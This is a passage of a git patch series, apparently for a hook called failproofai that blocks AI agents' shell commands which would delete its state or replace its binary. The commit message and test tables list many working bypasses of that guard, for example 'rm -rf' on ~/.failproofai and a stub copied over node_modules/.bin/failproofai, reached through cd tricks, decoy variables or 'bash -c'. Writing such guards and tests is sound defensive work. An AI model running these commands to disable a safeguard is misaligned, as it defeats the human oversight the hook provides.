describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], ["a cd and a build", "cd packages/api && npm run build"], ["clearing a scratch directory", "cd /tmp && rm -rf *"], + // A `cd` the walk cannot follow changes nothing for ordinary names. + ["tests from the repository root", 'cd "$(git rev-parse --show-toplevel)" && npm test'], + ["a cleanup from the repository root", 'cd "$(git rev-parse --show-toplevel)" && rm -rf dist *.log'], + ["a note in a temporary directory", 'cd "$(mktemp -d)" && echo hi > notes.txt'], + ["a listing of home", "cd $HOME && ls -la"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index c578addfa..07bd61072 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1363,25 +1363,18 @@ function commandBasename(token: string): string { return bare.slice(bare.lastIndexOf("/") + 1); } -/** - * Walk off everything a shell resolves before it settles on the command word, - * and return the tokens from the command word on. Mirrors the walk in - * `classifySelfInvocation` — the same prefixes hide a deleter that hid the - * binary, and `xargs -0 rm -f` is the one that matters most here. - */ -function commandWords(simpleCommand: string): string[] { - return commandWordLists(simpleCommand).words; -} - /** A redirect operator, with an optional fd (`2>`, `{fd}>`), and the same alone. */ const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; /** - * `commandWords`, and the same words with redirects and a comment taken out - * after the command word. + * Walk off everything a shell resolves before it settles on the command word, + * and return the tokens from the command word on (`words`). Mirrors the walk in + * `classifySelfInvocation` — the same prefixes hide a deleter that hid the + * binary, and `xargs -0 rm -f` is the one that matters most here. * - * The copy checks take the LAST operand for the destination, so a redirect or + * `trimmed` is the same words with redirects and a comment taken out after the + * command word. The copy checks take the LAST operand for the destination, so a redirect or * comment after it became the destination they judged: * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and * `… node_modules/.bin/failproofai # keep` both walked through. But a token is @@ -1446,12 +1439,15 @@ function commandWordLists(simpleCommand: string): { words: string[]; trimmed: st * backup; `cp /tmp/bin/failproofai node_modules/.bin/` is not, however its * source is spelled. A source ending in a separator copies what is IN it, whose * names are not on the line, so it is judged only through the bin-directory - * check. `inShell` resolves a relative word against a `cd` the walk followed. + * check. `inShell` resolves a relative word against a `cd` the walk followed; + * `lost` says the walk could not follow one, so a relative destination may be + * npm's bin directory and the entry's own name there is refused. */ function landsInDirectoryAs( words: string[], namesState: (text: string) => boolean, inShell: (word: string) => string = (word) => word, + lost = false, ): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); @@ -1513,6 +1509,8 @@ function landsInDirectoryAs( if (written === undefined || sources.length === 0) return false; const destination = inShell(written); if (directory === undefined && namesState(destination)) return true; + const baseName = (path: string) => path.slice(Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")) + 1); + if (lost && directory === undefined && relativeWord(written) && couldBeEntryName(baseName(written))) return true; const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); // A directory becomes npm's bin directory when it is moved, linked or copied @@ -1527,8 +1525,9 @@ function landsInDirectoryAs( if (into === "" || ontoItself) return false; return sources.some((source) => { if (/[\\/]$/.test(source)) return false; - const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); + const name = baseName(source); if (name === "" || name === "." || name === "..") return false; + if (lost && relativeWord(into) && couldBeEntryName(name)) return true; const landing = `${into}/${name}`; // A directory named `.bin` landing in a `node_modules` is the same swap. if (NPM_BIN_DIRECTORY_RE.test(landing) && (head === "mv" || head === "ln" || recursive)) return true; @@ -1751,42 +1750,52 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // with `.` and `..` resolved, because the patterns match the tail of a path // and an unbounded path made every later word slower to judge. let shellDir = startDir ? shellPath(undefined, startDir) : undefined; - let previousDir: string | undefined; - const dirStack: Array = []; - const shellDirScopes: Array<{ depth: number; dir: string | undefined }> = []; - const isRelative = (word: string) => word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); + // A `cd` the walk could not follow (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`) + // may have put the shell in npm's bin directory, so until the next one it can + // follow, a relative word is also judged as if it stood in an installed + // location (`AS_IF_INSTALLED`). + let lostTrack = false; + type Where = { dir: string | undefined; lost: boolean }; + let previous: Where | null = null; + const dirStack: Where[] = []; + const shellDirScopes: Array<{ depth: number; at: Where; previous: Where | null; stack: Where[] }> = []; // A relative word read from where the shell stands, and `..` resolved in any. const inShell = (word: string): string => - isRelative(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; + relativeWord(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; const judged = new Map(); + const judge = (path: string): boolean => { + let verdict = judged.get(path); + if (verdict === undefined) judged.set(path, (verdict = namesState(path))); + return verdict; + }; const namesHere = (text: string): boolean => { if (namesState(text)) return true; // Every pattern spells `failproof`, so only a word or a directory that // does, or a glob that could, can resolve onto one. if (!/failproof/i.test(text) && !/failproof/i.test(shellDir ?? "") && !GLOB_METACHAR_RE.test(text)) return false; + if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => judge(dir + text)); const resolved = inShell(text); - if (resolved === text) return false; - let verdict = judged.get(resolved); - if (verdict === undefined) judged.set(resolved, (verdict = namesState(resolved))); - return verdict; + return resolved !== text && judge(resolved); }; // What the line assigns, so a word built from it is judged as the path it // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` is where the - // shell stands. A variable the line never sets stays a reference. + // shell stands, `$HOME` is `~`. A variable the line never sets stays a + // reference, and a `cd` into one is a `cd` the walk cannot follow. const values = new Map(assignments); const expand = (word: string): string => { let out = word; for (let pass = 0; pass < 3 && out.includes("$"); pass++) { out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? reference, + name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), ); } return out; }; - const moveTo = (dir: string | undefined) => { - previousDir = shellDir; - shellDir = dir; - cwdInState = dir !== undefined && namesState(dir); + const moveTo = (to: Where) => { + previous = { dir: shellDir, lost: lostTrack }; + shellDir = to.dir; + lostTrack = to.lost; + cwdInState = !to.lost && to.dir !== undefined && namesState(to.dir); cdParenDepth = cwdInState ? parenDepth : null; }; @@ -1813,8 +1822,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) } for (const simple of simpleCommands) { - // Parentheses inside quotes open and close nothing. - const shellText = simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, ""); + // Parentheses inside quotes open and close nothing, and a substitution's + // are not a subshell: `cd $(npm root)/.bin` moves this shell. + const shellText = withoutSubstitutions(simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); parenDepth += (shellText.match(/\(/g) ?? []).length; const lists = Object.values(commandWordLists(simple)).map((list) => list.map(expand)); const words = lists[0]; @@ -1822,22 +1832,36 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd" || head === "popd") { - if (parenDepth > 0) shellDirScopes.push({ depth: parenDepth, dir: shellDir }); + if (parenDepth > 0) { + shellDirScopes.push({ depth: parenDepth, at: { dir: shellDir, lost: lostTrack }, previous, stack: dirStack.slice() }); + } + const at: Where = { dir: shellDir, lost: lostTrack }; const operand = words.slice(1).find((w) => !w.startsWith("-") || w === "-"); + // A `popd`, a bare `pushd` or a `cd -` with nothing to return to fails + // and leaves the shell where it was. if (head === "popd") { - // `popd` returns to wherever the shell was before the `pushd`. - moveTo(dirStack.length > 0 ? dirStack.pop() : undefined); + const top = dirStack.pop(); + if (top) moveTo(top); } else if (head === "pushd" && operand === undefined) { // A bare `pushd` swaps the top two directories. const top = dirStack.pop(); - dirStack.push(shellDir); - moveTo(top); + if (top) { + dirStack.push(at); + moveTo(top); + } + } else if (operand === "-") { + if (previous) moveTo(previous); } else { - if (head === "pushd") dirStack.push(shellDir); - // No operand is home, and `cd -` is wherever the shell was before. - moveTo(operand === undefined ? "~" : operand === "-" ? previousDir : shellPath(isRelative(operand) ? shellDir : undefined, operand)); + if (head === "pushd") dirStack.push(at); + // No operand is home. + const target = operand ?? "~"; + moveTo( + /\$|`/.test(target) + ? { dir: undefined, lost: true } + : { dir: shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target), lost: lostTrack && relativeWord(target) }, + ); } - } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell))) { + } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell, lostTrack))) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; @@ -1850,13 +1874,17 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // still runs inside the subshell it closes. return true; } - parenDepth -= (shellText.match(/\)/g) ?? []).length; + parenDepth = Math.max(0, parenDepth - (shellText.match(/\)/g) ?? []).length); if (cdParenDepth !== null && parenDepth < cdParenDepth) { cwdInState = false; cdParenDepth = null; } while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { - shellDir = shellDirScopes.pop()!.dir; + const scope = shellDirScopes.pop()!; + shellDir = scope.at.dir; + lostTrack = scope.at.lost; + previous = scope.previous; + dirStack.splice(0, dirStack.length, ...scope.stack); } } } @@ -1866,6 +1894,45 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) /** How much of the shell's directory the walk keeps; see `shellPath`. */ const SHELL_DIR_SEGMENTS = 16; +/** + * Where a relative word is also read once the walk has lost the shell's + * directory: the places an installed failproofai entry or package lives. Only + * a word that names one there can match, so an ordinary file is unaffected. + */ +const AS_IF_INSTALLED = ["node_modules/.bin/", "node_modules/", "/bin/"]; + +/** + * `text` without its `$(…)` command substitutions, so their parentheses are + * not counted as a subshell's. One left open runs to the end of the text. + */ +function withoutSubstitutions(text: string): string { + let out = ""; + for (let i = 0; i < text.length; i++) { + if (text[i] === "$" && text[i + 1] === "(") { + let depth = 0; + let j = i + 1; + for (; j < text.length; j++) { + if (text[j] === "(") depth++; + else if (text[j] === ")" && --depth === 0) break; + } + i = j; + continue; + } + out += text[i]; + } + return out; +} + +/** A word a shell reads from its current directory: not `~`, `/`, `$…` or `C:`. */ +function relativeWord(word: string): boolean { + return word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); +} + +/** The entry's own name, a Windows shim of it, or a glob that could be either. */ +function couldBeEntryName(name: string): boolean { + return /^failproofai(?:\.(?:cmd|ps1|exe|bunx))?$/i.test(name) || (GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)); +} + /** * `word` read from directory `base` (as given when absolute, or with no base), * with `.` and `..` resolved as text, the way a shell's logical `cd` does, and From 658c5dd75b590a77ce3496407afc12f9e4bf1ce9 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:49:31 +0530 Subject: [PATCH 14/60] [hooks] Address third review: quote-aware words, cd as bash runs it, faster (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A third independent review of 2baab1c8 found five bypasses it introduced, false positives, and two slowdowns; all reproduced, all covered by tests (201 cases pass; state-guard 124 and guard-installed-code 72 pass). - Words are split the way a shell splits them (shellWords): a quoted `#` or `>` is an argument, an unquoted one a comment or a redirect, so one word list is right both ways and the two-list union is gone. That fixes the cut-off words and the reads it misjudged (`uniq -c < `, `… # not -delete yet`, a comment line). A quoted program in command position (`bash -c '…'`) is split into its own words. - Directories are normalised (`//`, `.`, `..`) before they are cut to their tail, and cwdInState is decided on the whole path, so padding a cd with slashes no longer hides the state. The cd operand skips redirects. - cd/pushd/popd as bash runs them: a failed move keeps the directory, `+N`/`-N` rotate the stack, `cd -` and a bare `cd` honour OLDPWD/HOME the line sets, `~-`/`~+` expand, escaped parentheses open nothing, a subshell's exit restores the in-state flag, and a cd into a substitution that names the state counts as being in it. - Each word is judged as written and as expanded (`: D=x` cannot hide D). - Exact option names win over abbreviations, from each command's full --help list (`rsync --partial` no longer swallows the source). - Globs: `//`, `/./` and `..` normalised first; a one-segment stretch is tried when it starts with a literal `.` (`/var/lib/jenkins/.failproof*`), with `.openai` as a decoy so `sed 's/.*ai/X/'` stays allowed. - Options and the command word are never read as paths from the session directory. Expansion is capped; glob checks are memoised per token, and a relative glob is resolved only from a directory a candidate continues from. Ten 12-group brace words: 2.7 s down to about 0.7 s (#1050: 0.68 s). Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 51 ++- src/hooks/builtin-policies.ts | 457 +++++++++++++++----- 2 files changed, 387 insertions(+), 121 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 95095934a..626e0961f 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -251,6 +251,12 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["an absolute path", "cp /tmp/stub.sh /work/proj/node_modules/.bin/fail*"], // `/home/u/.failproofai` is a candidate itself; another home is not. ["the state, by an absolute path", "rm -rf /home/alice/.failproof*"], + ["the state, behind `//` and `/./`", "rm -rf ~//./.failproof*"], + // A home no candidate spells. A dotfile glob that can match + // `.failproofai` counts wherever it stands, as the name itself does: + // `rm -rf ~/.cache/.f*` is refused for the same reason. + ["the state, in a home outside /home", "rm -rf /var/lib/jenkins/.failproof*"], + ["the state's name in another directory", "rm -rf ~/.cache/.f*"], ])("denies a glob onto the entry through %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -312,6 +318,36 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bash(command)).toBe("deny"); }); + // Shell moves the walk follows as bash makes them, so that none of them + // leaves the walk somewhere safer than the shell really is. + it.each([ + ["slashes after the directory", "cd ~/.failproofai//////////////////// && rm -rf *"], + ["slashes after npm's bin directory", "cd node_modules/.bin//////////////////// && printf 'exit 0' > failproofai"], + ["a redirect before the cd operand", "cd 2>/dev/null ~/.failproofai && rm -rf *"], + ["a popd with nothing to pop", "cd ~/.failproofai; popd; rm -rf *"], + ['cd ""', 'cd ~/.failproofai; cd ""; rm -rf *'], + ["cd - to an OLDPWD the line sets", "OLDPWD=~/.failproofai; cd -; rm -rf *"], + ["~- after a cd away", "cd ~/.failproofai && cd /tmp && rm -rf ~-/*"], + ["a bare cd to a HOME the line sets", "HOME=~/.failproofai; cd; rm -rf *"], + ["pushd +1 back onto the directory", "cd ~/.failproofai && pushd /tmp && pushd +1 && rm -rf *"], + ["a subshell's cd undone", "cd ~/.failproofai && (cd /tmp) && rm -rf *"], + ["an escaped parenthesis in a subshell", "cd ~/.failproofai && (echo \\) && cd /tmp) && rm -rf *"], + ["a cd into a substitution that names the state", 'cd "$(echo ~/.failproofai)" && rm -rf *'], + // An assignment the shell never makes (`:` is a no-op) cannot replace + // the value the walk judges: the word is judged as written too. + ["a decoy assignment before a copy", "D=~/.failproofai/policies-config.json; : D=x; cp /dev/null $D"], + ["a decoy assignment before a redirect", "D=~/.failproofai/policies-config.json; : D=x; echo {} > $D"], + // A complete option name is not an abbreviation of a longer one. + ["rsync --partial", "rsync --partial /tmp/stage/failproofai node_modules/.bin/"], + ["rsync --checksum", "rsync --checksum /tmp/stage/failproofai node_modules/.bin/"], + ["rsync -a --compress of a directory's contents", "rsync -a --compress /tmp/stage/ node_modules/.bin/"], + ["install --strip", "install --strip /tmp/stage/failproofai node_modules/.bin/"], + // A program handed to a shell is judged as the command it is. + ["bash -c around a copy", "bash -c 'cp /tmp/stub.sh node_modules/.bin/failproofai'"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + // The session's directory is where the command starts: a `cd` in an // earlier call persists. it.each([ @@ -365,7 +401,6 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a glob ending in ai", "rm -rf models/*ai"], ["a glob ending in i", "rm -f out/*i"], ["a glob around proof", "rm -rf vendor/*proof*"], - ["a dotfile glob in a cache", "rm -rf ~/.cache/.f*"], ["a sed program that looks like a glob", "sed -i 's/.*ai/X/' notes.txt"], ["a commit message with a #", "git commit -m 'fix #12: cp a b'"], ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], @@ -376,6 +411,13 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a cleanup from the repository root", 'cd "$(git rev-parse --show-toplevel)" && rm -rf dist *.log'], ["a note in a temporary directory", 'cd "$(mktemp -d)" && echo hi > notes.txt'], ["a listing of home", "cd $HOME && ls -la"], + // Redirects and comments are not operands, and a comment line runs nothing. + ["a comment line that names the state", "# Look at ~/.failproofai\nls -la ~/.failproofai"], + ["reading the state through an input redirect", "uniq -c < ~/.failproofai/x.log | sort -rn"], + ["tee fed from the state", "tee -a /tmp/x < ~/.failproofai/policies-config.json"], + ["a backup with a comment naming the state", "cp -r ~/.failproofai /tmp/bak # copy of ~/.failproofai"], + ["a find whose comment names -delete", "find ~/.failproofai -name '*.log' -print # not -delete yet"], + ["a read run through bash -c", "bash -c 'cat ~/.failproofai/policies-config.json'"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); @@ -385,6 +427,11 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a checkout of failproofai itself", "/home/u/src/failproofai", "rm -rf dist"], ["node_modules/.bin", "/work/proj/node_modules/.bin", "cp README.md /tmp/"], ["node_modules/.bin", "/work/proj/node_modules/.bin", "./vitest run"], + // The command word is a program, not a path written to, and an option + // is not a path: neither is read from the directory. + ["failproofai's own state", "/home/u/.failproofai/logs", "date"], + ["failproofai's own state", "/home/u/.failproofai/logs", "uname -a"], + ["an installed package", "/home/u/proj/node_modules/failproofai/dist", "uname -a"], ])("allows ordinary work from %s", async (_label, cwd, command) => { expect(await bashIn(cwd, command)).not.toBe("deny"); }); @@ -397,6 +444,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["2,000 relative cds", Array(2000).fill("cd a").join(" && ") + " && ls"], ["1,000 cds into globs", Array(1000).fill("cd a*").join(" && ") + " && ls"], ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], + // A value that refers to itself grew with every expansion pass. + ["a self-referring variable", "A=" + "$A".repeat(100) + "; echo $A"], ])("judges %s in bounded time", async (_label, command) => { const started = performance.now(); await bash(command); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 07bd61072..1408fb607 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -708,26 +708,90 @@ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); * installs `agentd`. `t` is the target directory for all but rsync, where it * is `--times`. */ -const INTO_DIRECTORY_OPTIONS: Record = { - cp: { short: "St", long: ["suffix", "target-directory", "sparse", "no-preserve"] }, - mv: { short: "St", long: ["suffix", "target-directory"] }, - ln: { short: "St", long: ["suffix", "target-directory"] }, - install: { short: "mogSt", long: ["mode", "owner", "group", "suffix", "target-directory", "strip-program"] }, - // From `rsync --help` (3.4.1): every option documented with `=VALUE`. +const INTO_DIRECTORY_OPTIONS: Record = { + // From each command's `--help` (GNU coreutils 9, rsync 3.4.1): `values` take + // one, `flags` take none or only an `=VALUE` glued on. + cp: { + short: "St", + values: ["no-preserve", "sparse", "suffix", "target-directory"], + flags: [ + "archive", "attributes-only", "backup", "context", "copy-contents", "debug", "dereference", "force", "help", + "interactive", "keep-directory-symlink", "link", "no-clobber", "no-dereference", "no-target-directory", + "one-file-system", "parents", "preserve", "recursive", "reflink", "remove-destination", + "strip-trailing-slashes", "symbolic-link", "update", "verbose", "version", + ], + }, + mv: { + short: "St", + values: ["suffix", "target-directory"], + flags: [ + "backup", "context", "debug", "exchange", "force", "help", "interactive", "no-clobber", "no-copy", + "no-target-directory", "strip-trailing-slashes", "update", "verbose", "version", + ], + }, + ln: { + short: "St", + values: ["suffix", "target-directory"], + flags: [ + "backup", "force", "help", "interactive", "logical", "no-dereference", "no-target-directory", "physical", + "relative", "symbolic", "verbose", "version", + ], + }, + install: { + short: "mogSt", + values: ["group", "mode", "owner", "strip-program", "suffix", "target-directory"], + flags: [ + "backup", "compare", "context", "directory", "help", "no-target-directory", "preserve-context", + "preserve-timestamps", "strip", "unprivileged", "verbose", "version", + ], + }, rsync: { short: "@BefMT", - long: [ - "address", "backup-dir", "block-size", "bwlimit", "checksum-choice", "checksum-seed", "chmod", "chown", + values: [ + "address", "backup-dir", "block-size", "bwlimit", "cc", "checksum-choice", "checksum-seed", "chmod", "chown", "compare-dest", "compress-choice", "compress-level", "contimeout", "copy-as", "copy-dest", "debug", "early-input", "exclude", "exclude-from", "files-from", "filter", "groupmap", "iconv", "include", "include-from", "info", "link-dest", "log-file", "log-file-format", "max-alloc", "max-delete", "max-size", "min-size", "modify-window", "only-write-batch", "outbuf", "out-format", "partial-dir", "password-file", "port", "protocol", "read-batch", "remote-option", "rsh", "rsync-path", "skip-compress", "sockopts", - "stop-after", "suffix", "temp-dir", "timeout", "usermap", "write-batch", + "stop-after", "stop-at", "suffix", "temp-dir", "timeout", "usermap", "write-batch", "zc", "zl", + ], + flags: [ + "acls", "append", "append-verify", "archive", "atimes", "backup", "blocking-io", "checksum", "compress", + "copy-devices", "copy-dirlinks", "copy-links", "copy-unsafe-links", "crtimes", "cvs-exclude", "daemon", "del", + "delay-updates", "delete", "delete-after", "delete-before", "delete-delay", "delete-during", + "delete-excluded", "delete-missing-args", "devices", "dirs", "dry-run", "executability", "existing", + "fake-super", "force", "from0", "fsync", "fuzzy", "group", "hard-links", "help", "human-readable", + "ignore-errors", "ignore-existing", "ignore-missing-args", "ignore-times", "inplace", "ipv4", "ipv6", + "itemize-changes", "keep-dirlinks", "links", "list-only", "mkpath", "munge-links", "no-implied-dirs", + "no-motd", "numeric-ids", "old-args", "old-d", "old-dirs", "omit-dir-times", "omit-link-times", + "one-file-system", "open-noatime", "owner", "partial", "perms", "preallocate", "progress", + "prune-empty-dirs", "quiet", "recursive", "relative", "remove-source-files", "safe-links", "secluded-args", + "size-only", "sparse", "specials", "stats", "stderr", "super", "times", "trust-sender", "update", "verbose", + "version", "whole-file", "write-devices", "xattrs", ], }, }; +/** + * The long option `name` stands for, and whether it takes a value: an exact + * name first, so `--partial` is not read as an abbreviation of + * `--partial-dir` and made to swallow the next word, then the one option an + * abbreviation can only mean. Ambiguous or unknown, the command refuses to run. + */ +function longOptionOf( + options: { values: readonly string[]; flags: readonly string[] }, + name: string, +): { full: string; value: boolean } | undefined { + if (options.values.includes(name)) return { full: name, value: true }; + if (options.flags.includes(name)) return { full: name, value: false }; + const matches = [ + ...options.values.filter((full) => full.startsWith(name)).map((full) => ({ full, value: true })), + ...options.flags.filter((full) => full.startsWith(name)).map((full) => ({ full, value: false })), + ]; + return name.length > 0 && matches.length === 1 ? matches[0] : undefined; +} + /** * npm's bin directory, `node_modules/.bin`. A directory moved, linked or copied * recursively ONTO it brings entries the line never names: @@ -946,6 +1010,8 @@ const GLOB_DECOYS = [ // Other packages' entries beside it, so `rm -rf node_modules/.bin/*` is the // sweep it is rather than an aim at failproofai's. "node_modules/.bin/tsc", "./node_modules/.bin/tsc", ".bin/tsc", + // Another dotfile ending in `ai`, so the `.*ai` of a sed program is a sweep. + ".openai", ]; /** @@ -1111,9 +1177,10 @@ function wordNamesState(word: string): boolean { // segment that is not the last one — compiled to a pattern that could never // equal `~/.failproofai` and was read as naming nothing. Naming a file INSIDE // the state is naming the state. - // Somebody else's home is the same place as the candidates' `/home/u`: + // `//`, `/./` and `..` change nothing a shell opens (`~//.failproof*`), and + // somebody else's home is the same place as the candidates' `/home/u`: // `/home/alice/.failproof*` and `~alice/.failproof*` named nothing. - const segments = word + const segments = (/\/\/|(?:^|\/)\.\.?\//.test(word) ? shellPath(undefined, word) : word) .replace(/^\/(home|Users)\/[^/]+(?=\/)/, "/$1/u") .replace(/^~[A-Za-z0-9._-]+(?=\/)/, "~") .split("/"); @@ -1125,13 +1192,16 @@ function wordNamesState(word: string): boolean { // And every stretch that starts after a `/`, because the paths the // multi-segment candidates stand for can sit under any directory: // `/work/proj/node_modules/.bin/fail*` named nothing as a whole word - // (FailproofAI/agenteye#1795). Only those candidates: a one-segment stretch - // such as `models/*ai` or the `.*ai` in `sed 's/.*ai/X/'` matches - // `.failproofai` by name, and no decoy can tell it from an aim at the state. + // (FailproofAI/agenteye#1795). A one-segment stretch only when it starts + // with a literal `.`: a shell's `*` never matches a dotfile, so `models/*ai` + // cannot reach `.failproofai`, while `/var/lib/jenkins/.failproof*` — a home + // no candidate spells — can. for (let start = 1; start < segments.length; start++) { const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); - for (let end = start + 2; end <= last; end++) { - if (globPrefixNamesState(segments.slice(start, end).join("/"), MULTI_SEGMENT_GLOB_CANDIDATES)) return true; + const first = segments[start].startsWith(".") ? start + 1 : start + 2; + for (let end = first; end <= last; end++) { + const candidates = end - start === 1 ? STATE_GLOB_CANDIDATES : MULTI_SEGMENT_GLOB_CANDIDATES; + if (globPrefixNamesState(segments.slice(start, end).join("/"), candidates)) return true; } } return false; @@ -1367,35 +1437,79 @@ function commandBasename(token: string): string { const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; +/** + * A simple command split the way a shell splits it: on whitespace outside + * quotes, so `-H 'X-Ticket: #1795'` is one word. `quoted` says the word starts + * inside quotes or with an escape, where `#` and `>` are characters, not a + * comment or a redirect. + */ +function shellWords(text: string): Array<{ raw: string; quoted: boolean }> { + const words: Array<{ raw: string; quoted: boolean }> = []; + let current = ""; + let started = false; + let quoted = false; + let quote: string | null = null; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (quote === null && /\s/.test(ch)) { + if (started) words.push({ raw: current, quoted }); + current = ""; + started = false; + continue; + } + if (!started) { + started = true; + quoted = ch === "'" || ch === '"' || ch === "\\"; + } + current += ch; + if (ch === "\\" && quote !== "'" && i + 1 < text.length) { + current += text[++i]; + } else if (quote === null && (ch === "'" || ch === '"')) { + quote = ch; + } else if (ch === quote) { + quote = null; + } + } + if (started) words.push({ raw: current, quoted }); + return words; +} + /** * Walk off everything a shell resolves before it settles on the command word, - * and return the tokens from the command word on (`words`). Mirrors the walk in + * and return the words from the command word on. Mirrors the walk in * `classifySelfInvocation` — the same prefixes hide a deleter that hid the * binary, and `xargs -0 rm -f` is the one that matters most here. * - * `trimmed` is the same words with redirects and a comment taken out after the - * command word. The copy checks take the LAST operand for the destination, so a redirect or + * Redirects and a comment are not words, after the command word either. The + * copy checks take the LAST operand for the destination, so a redirect or a * comment after it became the destination they judged: * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and - * `… node_modules/.bin/failproofai # keep` both walked through. But a token is - * read here without knowing whether it sits inside quotes, so `-H 'X: #1'` or - * `-name 'x #'` would cut off the real words after it. Neither list is right - * every time, so callers judge both and deny when either does (FailproofAI/agenteye#1795). - */ -function commandWordLists(simpleCommand: string): { words: string[]; trimmed: string[] } { - const all = simpleCommand - .trim() - .split(/\s+/) - .map((raw) => ({ raw, token: bareToken(raw) })) - .filter(({ token }) => token !== ""); - const tokens = all.map(({ token }) => token); + * `… node_modules/.bin/failproofai # keep` both walked through, while + * `uniq -c < ` read the file it only reads as one it writes. Split + * on whitespace alone, a quoted `#` or `<` cut off the real words after it, so + * the command is split the way a shell splits it (`shellWords`) + * (FailproofAI/agenteye#1795). A command word starting with `#` is a comment line. + */ +function commandWordList(simpleCommand: string): string[] { + const split = (text: string) => shellWords(text).map(({ raw, quoted }) => ({ raw, quoted, token: bareToken(raw) })); + const all = split(simpleCommand.trim()); let i = 0; - while (i < tokens.length) { - const token = tokens[i]; + for (let programs = 0; i < all.length; ) { + const { raw, quoted, token } = all[i]; + if (token === "") { + i++; + continue; + } + // A quoted word where the command goes is a program handed to a shell + // (`bash -c 'rm -rf …'`): its own words are the command. + if (quoted && /\s/.test(token) && programs++ < 4) { + all.splice(i, 1, ...split(token)); + continue; + } // A redirect operator and, when it stands alone, the token it targets — // `> file` must not leave `file` sitting where the command word goes. - if (/^\d*(?:>{1,2}\|?|<{1,3})/.test(token)) { - i += /^\d*(?:>{1,2}\|?|<{1,3})$/.test(token) ? 2 : 1; + if (!quoted && REDIRECT_OPERATOR_RE.test(raw)) { + i += LONE_REDIRECT_OPERATOR_RE.test(raw) ? 2 : 1; continue; } const skippable = @@ -1407,18 +1521,17 @@ function commandWordLists(simpleCommand: string): { words: string[]; trimmed: st if (!skippable) break; i++; } - const trimmed: string[] = []; + const words: string[] = []; for (let j = i; j < all.length; j++) { - // Judged on the token as written: a quoted `">"` or `"#"` is an argument. - const { raw, token } = all[j]; - if (j > i && raw.startsWith("#")) break; - if (j > i && REDIRECT_OPERATOR_RE.test(raw)) { + const { raw, quoted, token } = all[j]; + if (!quoted && raw.startsWith("#")) break; + if (j > i && !quoted && REDIRECT_OPERATOR_RE.test(raw)) { if (LONE_REDIRECT_OPERATOR_RE.test(raw)) j++; continue; } - trimmed.push(token); + words.push(token); } - return { words: tokens.slice(i), trimmed 